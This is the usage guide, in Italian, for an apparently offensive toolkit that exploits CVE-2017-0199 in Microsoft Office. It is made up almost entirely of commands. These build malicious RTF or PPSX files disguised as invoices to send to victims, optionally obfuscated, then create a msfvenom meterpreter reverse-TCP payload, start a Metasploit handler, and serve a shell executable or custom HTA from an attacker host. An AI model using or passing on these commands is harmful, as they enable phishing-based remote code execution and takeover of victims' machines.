CVE-2017-0199

- Generazione di file PPSX dannosi
- Modalità di sfruttamento per il file PPSX generato
- template.ppsx aggiornato

1) Genera file RTF dannoso
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (Opzionale, se si usa payload MSF): Genera payload metasploit e avvia l'handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Avvia il toolkit in modalità exploit per consegnare payload locale
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) Genera file RTF dannoso
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) Avvia il toolkit in modalità exploit per consegnare payload remoto
   # python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) Genera file RTF dannoso
   # python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) Avvia il toolkit in modalità exploit per consegnare file HTA personalizzato
   # python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h

Questo è un pratico toolkit per sfruttare CVE-2017-0199 (RCE di Microsoft Office)

Modalità:

-M gen                                          Genera solo il file dannoso

     Genera file RTF/PPSX dannosi:

      -w <Filename.rtf/Filename.ppsx>     Nome del file RTF/PPSX dannoso (condividi questo file con la vittima).

      -u <http://attacker.com/test.hta>   Il percorso di un file HTA/SCT. Normalmente, dovrebbe essere un dominio o un IP dove questo
                                      tool è in esecuzione.
                                      Ad esempio, http://attackerip.com/test.doc (Questo URL sarà incluso nel file RTF/PPSX
                                      dannoso e verrà richiesto quando la vittima aprirà il file RTF dannoso.
      -t RTF|PPSX (default = RTF)         Tipo di file da generare.
      -x 0|1  (default = 0)               Genera un file RTF offuscato. 0 = Disabilita, 1 = Abilita.

				      
-M exp                                          Avvia la modalità di sfruttamento

     Sfruttamento:
 
      -t RTF|PPSX (default = RTF)         Tipo di file da sfruttare.
      -H </tmp/custom>                Percorso locale di un file HTA/SCT personalizzato che deve essere consegnato ed eseguito sul target.
                                          NOTA: Questa opzione non consegnerà i payload specificati tramite le opzioni "-e" e "-l"
					  
      -p <TCP port:Default 80>            Numero di porta locale.

      -e <http://attacker.com/shell.exe>  Il percorso di un file eseguibile / shell meterpreter / payload che deve essere eseguito sul target.

      -l </tmp/shell.exe>                 Se il payload è ospitato localmente, specifica il percorso locale di un file eseguibile / shell meterpreter / payload.